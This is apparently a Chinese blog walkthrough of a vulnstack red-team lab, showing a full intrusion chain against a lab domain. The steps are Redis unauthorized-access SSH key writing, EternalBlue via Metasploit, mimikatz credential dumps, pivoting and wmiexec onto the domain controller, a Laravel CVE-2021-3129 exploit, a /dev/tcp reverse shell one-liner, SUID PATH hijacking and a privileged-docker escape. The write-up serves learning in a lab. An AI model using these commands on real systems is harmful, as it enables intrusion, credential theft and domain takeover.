红队靶场
🎉B站配套视频:【顺手挂个三连呗】
https://www.bilibili.com/video/BV1814y1Z774/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
环境下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
靶场配置
网络配置
只设置这两张网卡
这个设置稍微有点问题,因为第一,二层是通的
但是不影响
DMZ区域:
Web 1 单网卡:
一张nat就行,因为第二层也是nat
第二层网络区域:
Web 2和PC 1都配置双网卡:
一个连接在VMnet8上连通第二层网络
一个连接在VMnet14上连通第三层网络。
第三层网络区域:
给Windows Server 2012和PC 2只配置了单网卡
连接在VMnet14上连通第三层网络
用户名密码:
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户
admin:admin657260
配置服务:
web1
DMZ区的 Ubuntu 需要启动redis和nginx服务
sudo -i
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F(关闭防火墙)
web2
第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo -i
service docker start
docker start 8e172820ac78
pc1
第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
通达开启路径:
C:\MYOA\bin\AutoConfig.exe
配置完以后,按照各层的联通进行一下ping检查
信息收集
进行前10000个端口的扫描
masscan 192.168.52.10 --ports 0-10000
对开放的端口进行针对扫描
nmap -v -Pn -T3 -sV -n -sT --open -p 6379,22,80,81 192.168.52.10
80
502页面,先不管
81
laravel
6379
redis 暴露在公网上
有可能存在未授权
我们尝试利用一下
redis-cli -h 192.168.52.10
开始写公钥,而后ssh登录
常常用于写入内容
- 检验能否写入
redis-cli -h 10.129.2.1 🔗
keys * 展示列表
incr 0xdf 测试写入
get 0xdf 查看写入
- 写入
ssh-keygen //本机生成一个ssh密钥
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt //把公钥写到这个文件中
config set slave-read-only no //修改为读写权限
cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set rong //设置进缓存
config get dir //使用dir命令,看一下目前在哪
config set dir ./.ssh //设置目录是~./ssh
config set dbfilename "authorized_keys" //配置好
save //保存
写入完了之后而后直接ssh 192.168.52.10即可
是root用户
继续探测
利用bash对内网进行一个C段扫描
for i in 192.168.52.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
去掉1,2,255,以及我们本机以及已经拿到权限的ubuntu机器
剩下的就是我们目前可以继续探测到的目标
再去掉128,129(这两个是本机),10,2,那么我们的下一个目标就是20,30
我现在要想办法对20,30进行探测
我可以使用MSF,进行探测
也可以使用一些工具例如fscan
msf6 > use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.30
MS17-010
Windows 7 Professional SP1 (build:7601) (name:PC1) (domain:WHOAMIANONY)
并且还有域,先试试永恒之蓝
msf6 auxiliary(scanner/smb/smb_version) > use windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.52.30
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
利用成功,成功拿下内网第二层机器
hashdump得到域管凭据
并且是system权限
接下来迁移进程,然后加载mimikatz,去hashdump一下
meterpreter > migrate 496
[*] Migrating from 1148 to 496...
[*] Migration completed successfully.
meterpreter > load mimikatz
meterpreter > creds_all
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WHOAMIANONY Whoami2021
PC1$ WHOAMIANONY %Yn!@ZW,eWz5>[!hh;H.
猜测Administrator 是域管凭证
多注意一下
鉴于这两个凭证都是域内凭证
接下来大概的绘制一下拓扑图,然后估计就可以打DC了
meterpreter > shell
进shell看一下,网卡信息主要看
发现了另一张网卡
接下来在MSF里找一下DC,然后做一下路由,直接开干
run post/windows/gather/enum_domain
好的,我们可以直接ping到(进shell试一下)
然后做个路由,直接尝试wmiexec一下
MSF做路由
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 192.168.93.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf
挂着代理ping一下DC
发现可以i通信
WMIEXEC
proxychains4 python3 /root/桌面/impacket-0.10.0/build/scripts-3.11/wmiexec.py WHOAMIANONY/administrator:Whoami2021@192.168.93.30
拿下了域控
我觉得非常简单
所以我去搜了搜别的师傅的writeup
居然还挺复杂?
那我再学习一下
别的思路
web1中寻找敏感信息
让我们回到SSH
鉴于这个web1开启了nginx,之前nmap扫出来的,所以我们
查看nginx配置文件
有几个默认目录,可以自行再百度啥的搜一下,有很多的默认配置文件,都是我们搜罗敏感信息的好帮手
cd /etc/nginx/conf.d/
ls
发现了两个配置文件
看到是192.168.52.20:8000的反向代理
下面这个看到还有一个域名的反代,但是不知道怎么利用这个域名,先不管
先访问看一下81端口,80端口域名的利用点暂时不明显
laravel v8.29.0
laravel v8.29.0
谷歌搜索存在RCE啊,直接利用
exp如下:
https://github.com/ajisai-babu/CVE-2021-3129-exp
按照里面的readme直接利用即可
而后蚂蚁连接一下
但是发现shell受限
怀疑是docker
检查一下
cat /proc/1/cgroup
可以看看这篇文章
https://blog.csdn.net/whatday/article/details/104107928
确实是一个docker
还是低权限docker
先提权
很多命令被禁用了
环境变量挟持,docker提权
find / -perm -u=s -type f 2>/dev/null
寻找一下高权,尝试进行环境变量挟持
有一个在其他目录的高权变量
一般来说/usr/bin都不太行
先弹个shell回来给我们用
bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'
本地nc打开
以下这一堆的原理是,当你执行shell的可执行文件,会调用没有绝对路径的ps环境变量
./shell一下就可以看到,所以我们吧/bin/bash命令写在/tmp目录下的ps(新建的ps),因为这个目录对所有人可写,而后设定临时环境变量为/tmp目录,所以我们再执行shell,就会在.tmp找ps环境变量,也就是被我们挟持的环境变量
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps //让其可读可写可执行
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
我们现在就可以拿到一个root的docker
接着写一个python tty的shell
python -c 'import pty; pty.spawn("/bin/bash")'
现在拿到了一个docker的root
要搞清楚他的宿主机是谁
由于之前ssh的.10主机可以看到
所以我认为这是.20的docker
进行逃逸
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限
首先我们现在docker中新建一个/gz目录用来挂在文件:
mkdir /haha
我们可以尝试将 /dev/sda1 挂载到/gz目录里:
mount /dev/sda1 /haha 如果挂载不上就把设备下线,umount /dev/sda1 再重新挂载)
可以看到挂载成功了
在之前拿到ssh的ubuntu上生成密钥
ssh-keygen -f haha
echo ‘生成的.pub文件的内容’ > /haha/home/ubuntu/.ssh/authorized_keys
haha 是之前挂载的挂在文件夹
例如:
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCio4KHEm8/QfaERVvh5IOqqxkIZHPU1a3wVOnewYP1OjWsdOr9IpKHtCpRFdU3PDQPcGKz27WZoYuCN4JNH0NDLtBosdhfJAze/1el9VNVV0/9SfAJBwvBE80K33yW5hmzZsb5e2i0xYkrYJ7L5zqpHo6bIh6ywGahMJHV2/5jkvsDWS0qYlCX8MFVecIBZMMV5MCiYZrclcx9UChQyW2IFUfNzVjTuAgtI+fnrhRcFflvyco91eORQEQIJ8elH1tNKlBe29LE8faPpZ7WC15khQQc9YaiAofwSQujbW43wYvXwhOeUUa2zItm1FfmBgmsysnan9LGGbImLiTAjQp/ root@ubuntu' > /haha/home/ubuntu/.ssh/authorized_keys
给私钥赋权
chmod 600 haha
而后SSH
我们就可以登录到web2机器,尽管还没有提权,但是已经可以和内网通信了
然后重复上文ms17-010的步骤就可以